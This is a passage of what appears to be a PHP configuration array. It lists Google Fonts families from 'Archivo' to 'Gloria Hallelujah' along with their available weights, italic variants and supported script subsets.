      'Archivo'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Archivo Black'=>[['normal'],['latin','latin-ext']],
      'Archivo Narrow'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['latin','latin-ext','vietnamese']],
      'Are You Serious'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Aref Ruqaa'=>[['normal','700'],['arabic','latin','latin-ext']],
      'Aref Ruqaa Ink'=>[['normal','700'],['arabic','latin','latin-ext']],
      'Arima'=>[['100','200','300','normal','500','600','700'],['greek','greek-ext','latin','latin-ext','malayalam','tamil','vietnamese']],
      'Arima Madurai'=>[['100','200','300','normal','500','700','800','900'],['latin','latin-ext','tamil','vietnamese']],
      'Arimo'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['cyrillic','cyrillic-ext','greek','greek-ext','hebrew','latin','latin-ext','vietnamese']],
      'Arizonia'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Armata'=>[['normal'],['latin','latin-ext']],
      'Arsenal'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Artifika'=>[['normal'],['latin']],
      'Arvo'=>[['normal','italic','700','700italic'],['latin']],
      'Arya'=>[['normal','700'],['devanagari','latin','latin-ext']],
      'Asap'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Asap Condensed'=>[['200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext','vietnamese']],
      'Asar'=>[['normal'],['devanagari','latin','latin-ext']],
      'Asset'=>[['normal'],['latin']],
      'Assistant'=>[['200','300','normal','500','600','700','800'],['hebrew','latin','latin-ext']],
      'Astloch'=>[['normal','700'],['latin']],
      'Asul'=>[['normal','700'],['latin']],
      'Athiti'=>[['200','300','normal','500','600','700'],['latin','latin-ext','thai','vietnamese']],
      'Atkinson Hyperlegible'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Atma'=>[['300','normal','500','600','700'],['bengali','latin','latin-ext']],
      'Atomic Age'=>[['normal'],['latin']],
      'Aubrey'=>[['normal'],['latin']],
      'Audiowide'=>[['normal'],['latin','latin-ext']],
      'Autour One'=>[['normal'],['latin','latin-ext']],
      'Average'=>[['normal'],['latin','latin-ext']],
      'Average Sans'=>[['normal'],['latin','latin-ext']],
      'Averia Gruesa Libre'=>[['normal'],['latin','latin-ext']],
      'Averia Libre'=>[['300','300italic','normal','italic','700','700italic'],['latin']],
      'Averia Sans Libre'=>[['300','300italic','normal','italic','700','700italic'],['latin']],
      'Averia Serif Libre'=>[['300','300italic','normal','italic','700','700italic'],['latin']],
      'Azeret Mono'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext']],
      'B612'=>[['normal','italic','700','700italic'],['latin']],
      'B612 Mono'=>[['normal','italic','700','700italic'],['latin']],
      'BIZ UDGothic'=>[['normal','700'],['cyrillic','greek-ext','japanese','latin','latin-ext']],
      'BIZ UDMincho'=>[['normal'],['cyrillic','greek-ext','japanese','latin','latin-ext']],
      'BIZ UDPGothic'=>[['normal','700'],['cyrillic','greek-ext','japanese','latin','latin-ext']],
      'BIZ UDPMincho'=>[['normal'],['cyrillic','greek-ext','japanese','latin','latin-ext']],
      'Babylonica'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Bad Script'=>[['normal'],['cyrillic','latin']],
      'Bahiana'=>[['normal'],['latin','latin-ext']],
      'Bahianita'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Bai Jamjuree'=>[['200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['latin','latin-ext','thai','vietnamese']],
      'Bakbak One'=>[['normal'],['devanagari','latin','latin-ext']],
      'Ballet'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Baloo 2'=>[['normal','500','600','700','800'],['devanagari','latin','latin-ext','vietnamese']],
      'Baloo Bhai 2'=>[['normal','500','600','700','800'],['gujarati','latin','latin-ext','vietnamese']],
      'Baloo Bhaijaan 2'=>[['normal','500','600','700','800'],['arabic','latin','latin-ext','vietnamese']],
      'Baloo Bhaina 2'=>[['normal','500','600','700','800'],['latin','latin-ext','oriya','vietnamese']],
      'Baloo Chettan 2'=>[['normal','500','600','700','800'],['latin','latin-ext','malayalam','vietnamese']],
      'Baloo Da 2'=>[['normal','500','600','700','800'],['bengali','latin','latin-ext','vietnamese']],
      'Baloo Paaji 2'=>[['normal','500','600','700','800'],['gurmukhi','latin','latin-ext','vietnamese']],
      'Baloo Tamma 2'=>[['normal','500','600','700','800'],['kannada','latin','latin-ext','vietnamese']],
      'Baloo Tammudu 2'=>[['normal','500','600','700','800'],['latin','latin-ext','telugu','vietnamese']],
      'Baloo Thambi 2'=>[['normal','500','600','700','800'],['latin','latin-ext','tamil','vietnamese']],
      'Balsamiq Sans'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'Balthazar'=>[['normal'],['latin']],
      'Bangers'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Barlow'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext','vietnamese']],
      'Barlow Condensed'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext','vietnamese']],
      'Barlow Semi Condensed'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext','vietnamese']],
      'Barriecito'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Barrio'=>[['normal'],['latin','latin-ext']],
      'Basic'=>[['normal'],['latin','latin-ext']],
      'Baskervville'=>[['normal','italic'],['latin','latin-ext']],
      'Battambang'=>[['100','300','normal','700','900'],['khmer','latin']],
      'Baumans'=>[['normal'],['latin']],
      'Bayon'=>[['normal'],['khmer','latin']],
      'Be Vietnam Pro'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext','vietnamese']],
      'Beau Rivage'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Bebas Neue'=>[['normal'],['latin','latin-ext']],
      'Belgrano'=>[['normal'],['latin']],
      'Bellefair'=>[['normal'],['hebrew','latin','latin-ext']],
      'Belleza'=>[['normal'],['latin','latin-ext']],
      'Bellota'=>[['300','300italic','normal','italic','700','700italic'],['cyrillic','latin','latin-ext','vietnamese']],
      'Bellota Text'=>[['300','300italic','normal','italic','700','700italic'],['cyrillic','latin','latin-ext','vietnamese']],
      'BenchNine'=>[['300','normal','700'],['latin','latin-ext']],
      'Benne'=>[['normal'],['kannada','latin','latin-ext']],
      'Bentham'=>[['normal'],['latin']],
      'Berkshire Swash'=>[['normal'],['latin','latin-ext']],
      'Besley'=>[['normal','500','600','700','800','900','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext']],
      'Beth Ellen'=>[['normal'],['latin']],
      'Bevan'=>[['normal','italic'],['latin','latin-ext','vietnamese']],
      'BhuTuka Expanded One'=>[['normal'],['gurmukhi','latin','latin-ext']],
      'Big Shoulders Display'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Big Shoulders Inline Display'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Big Shoulders Inline Text'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Big Shoulders Stencil Display'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Big Shoulders Stencil Text'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Big Shoulders Text'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Bigelow Rules'=>[['normal'],['latin','latin-ext']],
      'Bigshot One'=>[['normal'],['latin']],
      'Bilbo'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Bilbo Swash Caps'=>[['normal'],['latin','latin-ext']],
      'BioRhyme'=>[['200','300','normal','700','800'],['latin','latin-ext']],
      'BioRhyme Expanded'=>[['200','300','normal','700','800'],['latin','latin-ext']],
      'Birthstone'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Birthstone Bounce'=>[['normal','500'],['latin','latin-ext','vietnamese']],
      'Biryani'=>[['200','300','normal','600','700','800','900'],['devanagari','latin','latin-ext']],
      'Bitter'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Black And White Picture'=>[['normal'],['korean','latin']],
      'Black Han Sans'=>[['normal'],['korean','latin']],
      'Black Ops One'=>[['normal'],['cyrillic-ext','latin','latin-ext','vietnamese']],
      'Blaka'=>[['normal'],['arabic','latin','latin-ext']],
      'Blaka Hollow'=>[['normal'],['arabic','latin','latin-ext']],
      'Blaka Ink'=>[['normal'],['arabic','latin','latin-ext']],
      'Blinker'=>[['100','200','300','normal','600','700','800','900'],['latin','latin-ext']],
      'Bodoni Moda'=>[['normal','500','600','700','800','900','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext']],
      'Bokor'=>[['normal'],['khmer','latin']],
      'Bona Nova'=>[['normal','italic','700'],['cyrillic','cyrillic-ext','greek','hebrew','latin','latin-ext','vietnamese']],
      'Bonbon'=>[['normal'],['latin']],
      'Bonheur Royale'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Boogaloo'=>[['normal'],['latin']],
      'Bowlby One'=>[['normal'],['latin']],
      'Bowlby One SC'=>[['normal'],['latin','latin-ext']],
      'Brawler'=>[['normal','700'],['latin']],
      'Bree Serif'=>[['normal'],['latin','latin-ext']],
      'Brygada 1918'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Bubblegum Sans'=>[['normal'],['latin','latin-ext']],
      'Bubbler One'=>[['normal'],['latin','latin-ext']],
      'Buda'=>[['300'],['latin']],
      'Buenard'=>[['normal','700'],['latin','latin-ext']],
      'Bungee'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Bungee Hairline'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Bungee Inline'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Bungee Outline'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Bungee Shade'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Bungee Spice'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Butcherman'=>[['normal'],['latin','latin-ext']],
      'Butterfly Kids'=>[['normal'],['latin','latin-ext']],
      'Cabin'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['latin','latin-ext','vietnamese']],
      'Cabin Condensed'=>[['normal','500','600','700'],['latin','latin-ext','vietnamese']],
      'Cabin Sketch'=>[['normal','700'],['latin']],
      'Caesar Dressing'=>[['normal'],['latin']],
      'Cagliostro'=>[['normal'],['latin']],
      'Cairo'=>[['200','300','normal','500','600','700','800','900'],['arabic','latin','latin-ext']],
      'Cairo Play'=>[['200','300','normal','500','600','700','800','900'],['arabic','latin','latin-ext']],
      'Caladea'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Calistoga'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Calligraffitti'=>[['normal'],['latin']],
      'Cambay'=>[['normal','italic','700','700italic'],['devanagari','latin','latin-ext']],
      'Cambo'=>[['normal'],['latin']],
      'Candal'=>[['normal'],['latin']],
      'Cantarell'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Cantata One'=>[['normal'],['latin','latin-ext']],
      'Cantora One'=>[['normal'],['latin','latin-ext']],
      'Capriola'=>[['normal'],['latin','latin-ext']],
      'Caramel'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Carattere'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Cardo'=>[['normal','italic','700'],['greek','greek-ext','latin','latin-ext']],
      'Carme'=>[['normal'],['latin']],
      'Carrois Gothic'=>[['normal'],['latin']],
      'Carrois Gothic SC'=>[['normal'],['latin']],
      'Carter One'=>[['normal'],['latin']],
      'Castoro'=>[['normal','italic'],['latin','latin-ext']],
      'Catamaran'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','tamil']],
      'Caudex'=>[['normal','italic','700','700italic'],['greek','greek-ext','latin','latin-ext']],
      'Caveat'=>[['normal','500','600','700'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'Caveat Brush'=>[['normal'],['latin','latin-ext']],
      'Cedarville Cursive'=>[['normal'],['latin']],
      'Ceviche One'=>[['normal'],['latin','latin-ext']],
      'Chakra Petch'=>[['300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['latin','latin-ext','thai','vietnamese']],
      'Changa'=>[['200','300','normal','500','600','700','800'],['arabic','latin','latin-ext']],
      'Changa One'=>[['normal','italic'],['latin']],
      'Chango'=>[['normal'],['latin','latin-ext']],
      'Charis SIL'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Charm'=>[['normal','700'],['latin','latin-ext','thai','vietnamese']],
      'Charmonman'=>[['normal','700'],['latin','latin-ext','thai','vietnamese']],
      'Chathura'=>[['100','300','normal','700','800'],['latin','telugu']],
      'Chau Philomene One'=>[['normal','italic'],['latin','latin-ext']],
      'Chela One'=>[['normal'],['latin','latin-ext']],
      'Chelsea Market'=>[['normal'],['latin','latin-ext']],
      'Chenla'=>[['normal'],['khmer']],
      'Cherish'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Cherry Cream Soda'=>[['normal'],['latin']],
      'Cherry Swash'=>[['normal','700'],['latin','latin-ext']],
      'Chewy'=>[['normal'],['latin']],
      'Chicle'=>[['normal'],['latin','latin-ext']],
      'Chilanka'=>[['normal'],['latin','malayalam']],
      'Chivo'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Chonburi'=>[['normal'],['latin','latin-ext','thai','vietnamese']],
      'Cinzel'=>[['normal','500','600','700','800','900'],['latin','latin-ext']],
      'Cinzel Decorative'=>[['normal','700','900'],['latin']],
      'Clicker Script'=>[['normal'],['latin','latin-ext']],
      'Coda'=>[['normal','800'],['latin','latin-ext']],
      'Coda Caption'=>[['800'],['latin','latin-ext']],
      'Codystar'=>[['300','normal'],['latin','latin-ext']],
      'Coiny'=>[['normal'],['latin','latin-ext','tamil','vietnamese']],
      'Combo'=>[['normal'],['latin','latin-ext']],
      'Comfortaa'=>[['300','normal','500','600','700'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Comforter'=>[['normal'],['cyrillic','latin','latin-ext','vietnamese']],
      'Comforter Brush'=>[['normal'],['cyrillic','latin','latin-ext','vietnamese']],
      'Comic Neue'=>[['300','300italic','normal','italic','700','700italic'],['latin']],
      'Coming Soon'=>[['normal'],['latin']],
      'Commissioner'=>[['100','200','300','normal','500','600','700','800','900'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Concert One'=>[['normal'],['latin','latin-ext']],
      'Condiment'=>[['normal'],['latin','latin-ext']],
      'Content'=>[['normal','700'],['khmer']],
      'Contrail One'=>[['normal'],['latin']],
      'Convergence'=>[['normal'],['latin','latin-ext']],
      'Cookie'=>[['normal'],['latin']],
      'Copse'=>[['normal'],['latin']],
      'Corben'=>[['normal','700'],['latin','latin-ext']],
      'Corinthia'=>[['normal','700'],['latin','latin-ext','vietnamese']],
      'Cormorant'=>[['300','normal','500','600','700','300italic','italic','500italic','600italic','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Cormorant Garamond'=>[['300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Cormorant Infant'=>[['300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Cormorant SC'=>[['300','normal','500','600','700'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Cormorant Unicase'=>[['300','normal','500','600','700'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Cormorant Upright'=>[['300','normal','500','600','700'],['latin','latin-ext','vietnamese']],
      'Courgette'=>[['normal'],['latin','latin-ext']],
      'Courier Prime'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Cousine'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','greek','greek-ext','hebrew','latin','latin-ext','vietnamese']],
      'Coustard'=>[['normal','900'],['latin']],
      'Covered By Your Grace'=>[['normal'],['latin']],
      'Crafty Girls'=>[['normal'],['latin']],
      'Creepster'=>[['normal'],['latin']],
      'Crete Round'=>[['normal','italic'],['latin','latin-ext']],
      'Crimson Pro'=>[['200','300','normal','500','600','700','800','900','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Crimson Text'=>[['normal','italic','600','600italic','700','700italic'],['latin','latin-ext','vietnamese']],
      'Croissant One'=>[['normal'],['latin','latin-ext']],
      'Crushed'=>[['normal'],['latin']],
      'Cuprum'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Cute Font'=>[['normal'],['korean','latin']],
      'Cutive'=>[['normal'],['latin','latin-ext']],
      'Cutive Mono'=>[['normal'],['latin','latin-ext']],
      'DM Mono'=>[['300','300italic','normal','italic','500','500italic'],['latin','latin-ext']],
      'DM Sans'=>[['normal','italic','500','500italic','700','700italic'],['latin','latin-ext']],
      'DM Serif Display'=>[['normal','italic'],['latin','latin-ext']],
      'DM Serif Text'=>[['normal','italic'],['latin','latin-ext']],
      'Damion'=>[['normal'],['latin']],
      'Dancing Script'=>[['normal','500','600','700'],['latin','latin-ext','vietnamese']],
      'Dangrek'=>[['normal'],['khmer','latin']],
      'Darker Grotesque'=>[['300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'David Libre'=>[['normal','500','700'],['hebrew','latin','latin-ext','vietnamese']],
      'Dawning of a New Day'=>[['normal'],['latin']],
      'Days One'=>[['normal'],['latin']],
      'Dekko'=>[['normal'],['devanagari','latin','latin-ext']],
      'Dela Gothic One'=>[['normal'],['cyrillic','greek','japanese','latin','latin-ext','vietnamese']],
      'Delius'=>[['normal'],['latin']],
      'Delius Swash Caps'=>[['normal'],['latin']],
      'Delius Unicase'=>[['normal','700'],['latin']],
      'Della Respira'=>[['normal'],['latin']],
      'Denk One'=>[['normal'],['latin','latin-ext']],
      'Devonshire'=>[['normal'],['latin','latin-ext']],
      'Dhurjati'=>[['normal'],['latin','telugu']],
      'Didact Gothic'=>[['normal'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext']],
      'Diplomata'=>[['normal'],['latin','latin-ext']],
      'Diplomata SC'=>[['normal'],['latin','latin-ext']],
      'Do Hyeon'=>[['normal'],['korean','latin']],
      'Dokdo'=>[['normal'],['korean','latin']],
      'Domine'=>[['normal','500','600','700'],['latin','latin-ext']],
      'Donegal One'=>[['normal'],['latin','latin-ext']],
      'Dongle'=>[['300','normal','700'],['korean','latin','latin-ext','vietnamese']],
      'Doppio One'=>[['normal'],['latin','latin-ext']],
      'Dorsa'=>[['normal'],['latin']],
      'Dosis'=>[['200','300','normal','500','600','700','800'],['latin','latin-ext','vietnamese']],
      'DotGothic16'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Dr Sugiyama'=>[['normal'],['latin','latin-ext']],
      'Duru Sans'=>[['normal'],['latin','latin-ext']],
      'DynaPuff'=>[['normal','500','600','700'],['cyrillic-ext','latin','latin-ext']],
      'Dynalight'=>[['normal'],['latin','latin-ext']],
      'EB Garamond'=>[['normal','500','600','700','800','italic','500italic','600italic','700italic','800italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Eagle Lake'=>[['normal'],['latin','latin-ext']],
      'East Sea Dokdo'=>[['normal'],['korean','latin']],
      'Eater'=>[['normal'],['latin','latin-ext']],
      'Economica'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Eczar'=>[['normal','500','600','700','800'],['devanagari','greek','greek-ext','latin','latin-ext']],
      'Edu NSW ACT Foundation'=>[['normal','500','600','700'],['latin']],
      'Edu QLD Beginner'=>[['normal','500','600','700'],['latin']],
      'Edu SA Beginner'=>[['normal','500','600','700'],['latin']],
      'Edu TAS Beginner'=>[['normal','500','600','700'],['latin']],
      'Edu VIC WA NT Beginner'=>[['normal','500','600','700'],['latin']],
      'El Messiri'=>[['normal','500','600','700'],['arabic','cyrillic','latin','latin-ext']],
      'Electrolize'=>[['normal'],['latin']],
      'Elsie'=>[['normal','900'],['latin','latin-ext']],
      'Elsie Swash Caps'=>[['normal','900'],['latin','latin-ext']],
      'Emblema One'=>[['normal'],['latin','latin-ext']],
      'Emilys Candy'=>[['normal'],['latin','latin-ext']],
      'Encode Sans'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Encode Sans Condensed'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Encode Sans Expanded'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Encode Sans SC'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Encode Sans Semi Condensed'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Encode Sans Semi Expanded'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Engagement'=>[['normal'],['latin']],
      'Englebert'=>[['normal'],['latin','latin-ext']],
      'Enriqueta'=>[['normal','500','600','700'],['latin','latin-ext']],
      'Ephesis'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Epilogue'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Erica One'=>[['normal'],['latin','latin-ext']],
      'Esteban'=>[['normal'],['latin','latin-ext']],
      'Estonia'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Euphoria Script'=>[['normal'],['latin','latin-ext']],
      'Ewert'=>[['normal'],['latin','latin-ext']],
      'Exo'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Exo 2'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Expletus Sans'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['latin','latin-ext']],
      'Explora'=>[['normal'],['cherokee','latin','latin-ext','vietnamese']],
      'Fahkwang'=>[['200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['latin','latin-ext','thai','vietnamese']],
      'Familjen Grotesk'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['latin','latin-ext','vietnamese']],
      'Fanwood Text'=>[['normal','italic'],['latin']],
      'Farro'=>[['300','normal','500','700'],['latin','latin-ext']],
      'Farsan'=>[['normal'],['gujarati','latin','latin-ext','vietnamese']],
      'Fascinate'=>[['normal'],['latin']],
      'Fascinate Inline'=>[['normal'],['latin']],
      'Faster One'=>[['normal'],['latin']],
      'Fasthand'=>[['normal'],['khmer','latin']],
      'Fauna One'=>[['normal'],['latin','latin-ext']],
      'Faustina'=>[['300','normal','500','600','700','800','300italic','italic','500italic','600italic','700italic','800italic'],['latin','latin-ext','vietnamese']],
      'Federant'=>[['normal'],['latin']],
      'Federo'=>[['normal'],['latin']],
      'Felipa'=>[['normal'],['latin','latin-ext']],
      'Fenix'=>[['normal'],['latin','latin-ext']],
      'Festive'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Figtree'=>[['300','normal','500','600','700','800','900','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext']],
      'Finger Paint'=>[['normal'],['latin']],
      'Finlandica'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'Fira Code'=>[['300','normal','500','600','700'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext']],
      'Fira Mono'=>[['normal','500','700'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext']],
      'Fira Sans'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Fira Sans Condensed'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Fira Sans Extra Condensed'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Fjalla One'=>[['normal'],['latin','latin-ext']],
      'Fjord One'=>[['normal'],['latin']],
      'Flamenco'=>[['300','normal'],['latin']],
      'Flavors'=>[['normal'],['latin','latin-ext']],
      'Fleur De Leah'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Flow Block'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Flow Circular'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Flow Rounded'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Fondamento'=>[['normal','italic'],['latin','latin-ext']],
      'Fontdiner Swanky'=>[['normal'],['latin']],
      'Forum'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'Fragment Mono'=>[['normal','italic'],['cyrillic-ext','latin','latin-ext']],
      'Francois One'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Frank Ruhl Libre'=>[['300','normal','500','700','900'],['hebrew','latin','latin-ext']],
      'Fraunces'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Freckle Face'=>[['normal'],['latin','latin-ext']],
      'Fredericka the Great'=>[['normal'],['latin','latin-ext']],
      'Fredoka'=>[['300','normal','500','600','700'],['hebrew','latin','latin-ext']],
      'Fredoka One'=>[['normal'],['latin']],
      'Freehand'=>[['normal'],['khmer','latin']],
      'Fresca'=>[['normal'],['latin','latin-ext']],
      'Frijole'=>[['normal'],['latin']],
      'Fruktur'=>[['normal','italic'],['cyrillic-ext','latin','latin-ext','vietnamese']],
      'Fugaz One'=>[['normal'],['latin']],
      'Fuggles'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Fuzzy Bubbles'=>[['normal','700'],['latin','latin-ext','vietnamese']],
      'GFS Didot'=>[['normal'],['greek']],
      'GFS Neohellenic'=>[['normal','italic','700','700italic'],['greek']],
      'Gabriela'=>[['normal'],['cyrillic','cyrillic-ext','latin']],
      'Gaegu'=>[['300','normal','700'],['korean','latin']],
      'Gafata'=>[['normal'],['latin','latin-ext']],
      'Galada'=>[['normal'],['bengali','latin']],
      'Galdeano'=>[['normal'],['latin']],
      'Galindo'=>[['normal'],['latin','latin-ext']],
      'Gamja Flower'=>[['normal'],['korean','latin']],
      'Gantari'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext']],
      'Gayathri'=>[['100','normal','700'],['latin','malayalam']],
      'Gelasio'=>[['normal','italic','500','500italic','600','600italic','700','700italic'],['latin','latin-ext','vietnamese']],
      'Gemunu Libre'=>[['200','300','normal','500','600','700','800'],['latin','latin-ext','sinhala']],
      'Genos'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cherokee','latin','latin-ext','vietnamese']],
      'Gentium Book Basic'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Gentium Book Plus'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Gentium Plus'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Geo'=>[['normal','italic'],['latin']],
      'Georama'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Geostar'=>[['normal'],['latin']],
      'Geostar Fill'=>[['normal'],['latin']],
      'Germania One'=>[['normal'],['latin']],
      'Gideon Roman'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Gidugu'=>[['normal'],['latin','telugu']],
      'Gilda Display'=>[['normal'],['latin','latin-ext']],
      'Girassol'=>[['normal'],['latin','latin-ext']],
      'Give You Glory'=>[['normal'],['latin']],
      'Glass Antiqua'=>[['normal'],['latin','latin-ext']],
      'Glegoo'=>[['normal','700'],['devanagari','latin','latin-ext']],
      'Gloria Hallelujah'=>[['normal'],['latin']],
